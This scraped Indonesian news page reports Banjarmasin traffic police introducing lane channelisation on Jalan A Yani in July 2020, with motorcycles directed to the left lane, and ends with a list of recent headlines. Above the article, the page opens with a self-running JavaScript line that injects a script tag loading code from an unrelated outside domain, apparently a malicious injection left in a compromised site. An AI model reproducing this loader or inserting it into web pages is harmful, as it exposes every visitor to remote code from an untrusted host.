(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kanalisasi Jalan A Yani Banjarmasin, Roda Dua dan Roda Empat Dipisah


KANALKALIMANTAN.COM, BANJARMASIN – Terhitung sejak Senin (6/7/2020),  jajaran Sat Lantas Polresta Banjarmasin mulai menerapkan kanalisasi jalan. Penerapan memang saat ini baru dilakukan di ruas jalan A Yani kota Banjarmasin.

Menurut Kasat Lantas Polresta Banjarmasin AKP Gustaf Adolf Mamuaya, kanalisasi jalan yang baru ini diterapkan bertujuan untuk menertibkan pengguna jalan, terutama pengendara roda dua. Karena sesuai Undang-Undang Nomor 22 Tahun 2009, pengendara roda dua diharuskan menggunakan lajur kiri jalan.

“Di Banjarmasin masih banyak pengendara roda dua yang masih menggunakan lajur sebelah kanan. Makanya kita berencana untuk menertibkan,” kata Gustaf, Selasa (7/7/2020) siang.

Kendati kewenangan jalan A Yani berada di bawah Balai Pengelola Transportasi Darat (BPTD) XV Kalimantan Selatan, Gustaf menyebutkan, jajarannya akan berkoordinasi membuat  rambu-rambu yang menunjukkan lajur yang harus dipergunakan.

Kasat Lantas Polresta Banjarmasin AKP Gustaf Adolf Mamuaya. Foto: Fikri

“Tetapi, saat ini kita lebih mengimbau kepada masyarakat dan mengarahkan bahwa lajur kiri adalah untuk pengguna roda dua,” ucap mantan Kasat Lantas Polres Banjarbaru ini.

Saat ini, penerapan kanalisasi jalan baru dilakukan di sepanjang Jalan A Yani dari Km 6 ke Km 1. Jika masyarakat sudah terbiasa, tidak menutup kemungkinan akan diterapkan di ruas jalan-jalan lainnya, terutama yang memiliki dua lajur.

“Kita sudah menggelar anggota di sepanjang jalan A Yani, dan kita sudah menggunakan papan imbauan,” lugas Gustaf.

Gustaf menyebutkan, saat ini belum ada penindakan bagi pengendara yang tidak mematuhi penerapan kanalisasi jalan. Namun demikian, ia mengatakan tidak menutup kemungkinan akan diberikan penindakan.

“Kita tidak ingin adanya penegakan hukum, tetapi kita ingin masyarakat lebih tertib tanpa harus melakukan tindakan. Tujuannya untuk mengurangi risiko kecelakaan. Sangat rawan kendaran roda dua itu berkendara di lajur kanan,” pungkas Gustaf. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

3 menit ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

27 menit ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

44 menit ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

2 jam ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

3 jam ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

3 jam ago

This website uses cookies.